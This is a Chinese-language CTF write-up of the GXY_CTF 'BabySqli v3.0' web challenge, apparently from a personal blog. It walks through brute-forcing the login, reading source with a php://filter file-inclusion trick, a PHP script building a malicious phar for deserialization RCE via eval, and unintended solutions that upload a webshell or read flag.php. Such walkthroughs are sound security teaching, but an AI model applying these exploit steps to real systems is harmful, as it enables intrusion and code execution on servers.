简析GXY_CTF “BabySqli v3.0”之Phar反序列化 5 min read
本文最后更新于 126 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore (比赛平台id:Y1ng)

Blog: https://www.gem-love.com


这个题目因为出题人多打了个空格,出现了一个非常easy的非预期。

这题目本意是考phar反序列化,关于phar反序列化可以参考以下文章:

https://xz.aliyun.com/t/2715#toc-6

https://paper.seebug.org/680/

这个题目挺坑的,根本没有数据库然后题目叫Babysqliv3.0,搞选手心态。

下面先介绍正常解法再介绍非预期。

登录

这个题目登录窗口简直和前两个sqli一样,但是fuzz后无果,考虑爆破。

前两个题的username都是admin所以这次也先爆破密码

设置好payload后开始爆破,两秒后爆破出密码为password

LFI读源码

登录成功后,自动跳转至

http://172.21.4.12:10041/home.php?file=upload

发现是个上传页面,上面明确写着

当前引用的是 upload.php

而url又有file=upload,于是访问upload.php,发现这两个页面一样,说明是文件包含

简单扫一下目录发现存在flag.php,尝试包含发现flag被ban了

而包含其他文件,则会在后面拼接上.fxxkyou!

若包含的文件以homeupload结尾,则在后面拼接上.php后包含;其他都被拼接上.fxxkyou!

文件包含因此我们可以使用伪协议读源码:

http://172.21.4.12:10041/home.php?file=php://filter/read=convert.base64-encode/resource=upload

得到

当前引用的是 php://filter/read=convert.base64-encode/resource=upload.phpPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+IA0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgnkuIrkvKDmlofku7YNCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+DQoNCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpjbGFzcyBVcGxvYWRlcnsNCglwdWJsaWMgJEZpbGVuYW1lOw0KCXB1YmxpYyAkY21kOw0KCXB1YmxpYyAkdG9rZW47DQoJDQoNCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KCQkkc2FuZGJveCA9IGdldGN3ZCgpLiIvdXBsb2Fkcy8iLm1kNSgkX1NFU1NJT05bJ3VzZXInXSkuIi8iOw0KCQkkZXh0ID0gIi50eHQiOw0KCQlAbWtkaXIoJHNhbmRib3gsIDA3NzcsIHRydWUpOw0KCQlpZihpc3NldCgkX0dFVFsnbmFtZSddKSBhbmQgIXByZWdfbWF0Y2goIi9kYXRhOlwvXC8gfCBmaWx0ZXI6XC9cLyB8IHBocDpcL1wvIHwgXC4vaSIsICRfR0VUWyduYW1lJ10pKXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRfR0VUWyduYW1lJ107DQoJCX0NCgkJZWxzZXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRzYW5kYm94LiRfU0VTU0lPTlsndXNlciddLiRleHQ7DQoJCX0NCg0KCQkkdGhpcy0+Y21kID0gImVjaG8gJzxicj48YnI+TWFzdGVyLCBJIHdhbnQgdG8gc3R1ZHkgcml6aGFuITxicj48YnI+JzsiOw0KCQkkdGhpcy0+dG9rZW4gPSAkX1NFU1NJT05bJ3VzZXInXTsNCgl9DQoNCglmdW5jdGlvbiB1cGxvYWQoJGZpbGUpew0KCQlnbG9iYWwgJHNhbmRib3g7DQoJCWdsb2JhbCAkZXh0Ow0KDQoJCWlmKHByZWdfbWF0Y2goIlteYS16MC05XSIsICR0aGlzLT5GaWxlbmFtZSkpew0KCQkJJHRoaXMtPmNtZCA9ICJkaWUoJ2lsbGVnYWwgZmlsZW5hbWUhJyk7IjsNCgkJfQ0KCQllbHNlew0KCQkJaWYoJGZpbGVbJ3NpemUnXSA+IDEwMjQpew0KCQkJCSR0aGlzLT5jbWQgPSAiZGllKCd5b3UgYXJlIHRvbyBiaWcgKOKAsuKWvWDjgIMpJyk7IjsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJJHRoaXMtPmNtZCA9ICJtb3ZlX3VwbG9hZGVkX2ZpbGUoJyIuJGZpbGVbJ3RtcF9uYW1lJ10uIicsICciIC4gJHRoaXMtPkZpbGVuYW1lIC4gIicpOyI7DQoJCQl9DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQoJCWdsb2JhbCAkc2FuZGJveDsNCgkJZ2xvYmFsICRleHQ7DQoJCS8vIHJldHVybiAkc2FuZGJveC4kdGhpcy0+RmlsZW5hbWUuJGV4dDsNCgkJcmV0dXJuICR0aGlzLT5GaWxlbmFtZTsNCgl9DQoNCglmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQoJCWlmKCR0aGlzLT50b2tlbiAhPSAkX1NFU1NJT05bJ3VzZXInXSl7DQoJCQkkdGhpcy0+Y21kID0gImRpZSgnY2hlY2sgdG9rZW4gZmFsaWVkIScpOyI7DQoJCX0NCgkJZXZhbCgkdGhpcy0+Y21kKTsNCgl9DQp9DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpIHsNCgkkdXBsb2FkZXIgPSBuZXcgVXBsb2FkZXIoKTsNCgkkdXBsb2FkZXItPnVwbG9hZCgkX0ZJTEVTWyJmaWxlIl0pOw0KCWlmKEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpKXsNCgkJZWNobyAi5LiL6Z2i5piv5L2g5LiK5Lyg55qE5paH5Lu277yaPGJyPiIuJHVwbG9hZGVyLiI8YnI+IjsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpOw0KCX0NCn0NCg0KPz4NCg==

base64解码后得到upload.php的源码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	ä¸Šä¼ æ–‡ä»¶
	<input type="file" name="file" />
	<input type="submit" name="submit" value="ä¸Šä¼ " />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){    //不以数字和字母开头
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";   //上传
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "ä¸‹é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

同理可以得到home.php的源码(但是没啥用):

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

后面的操作分为”phar反序列化rce”和”非预期直接getshell”两种方法

phar反序列化RCE

这是预期解法,所以先介绍这种方法。

审计upload.php代码:

$this->Filename = $_GET['name'];

可见$this->Filename是可控的,可以通过name参数以get方式得到

分析最后上传部分的代码

if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}

file_get_contents()使$uploader通过__toString()返回$this->Filename$this->Filename可控,因此此处$this->Filename用来触发phar,__destruct()方法内eval($this->cmd);进行RCE

知道了这个思路,后面的事情就简单多了

由于__destruct()方法中,想要eval($this->cmd);的前提条件是$this->token$_SESSION['user']相等

function __destruct(){
	if($this->token != $_SESSION['user']){
		$this->cmd = "die('check token falied!');";
	}
	eval($this->cmd);
}

__construct()方法中可见如下两行代码

$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;

因此可以先随便上传一个txt,得到的路径中,.txt前面的就是$_SESSION['user']

本地生成phar文件:

<?php
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
}

$o = new Uploader();
$o->cmd = 'highlight_file("/var/www/html/flag.php");'; 
$o->Filename = 'test';
$o->token = 'GXYf966ca9e09125316b6bcc3a137f15449'; //$_SESSION['user']
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

注意要将php.ini中的phar.readonly设置为off

然后将生成的phar上传

得到路径

/var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。

最终payload:

http://172.21.4.12:10041/home.php?file=upload&name=phar:///var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt

传任意文件后,得到flag

非预期解法1:直接GETSHELL

这是我做题时候用的方法,甚至不需要phar,属实迷惑行为

爆破密码登录,base64读upload.php源码,这都和上面一样。

审计upload.php的代码,发现在__construct()方法内$this->Filename可控

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
	$this->Filename = $_GET['name'];
}

这里虽然正则匹配了. 但是因为出题人为了代码没关多打了个空格,导致实际上匹配的是 .(空格点),就跟没匹配没啥区别了。$this->Filename为get得到的name

upload()内,只要文件小于1024,就将上传文件到$this->Filename

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; 

那我们只要使$this->Filename/var/www/html/uploads/1.php,然后上传一个txt的一句话即可getshell

Payload:

http://172.21.4.12:10041/upload.php?name=/var/www/html/uploads/y1ng.php

上传一个txt的一句话

非预期解法2:读取flag.php

由于这行代码

echo file_get_contents($uploader);

上传后会显示出$uploader这个文件的内容,所以只要使$this->Filenameflag.php 然后随便传个东西就会得到flag了。在buuoj测试了一下:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/490.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇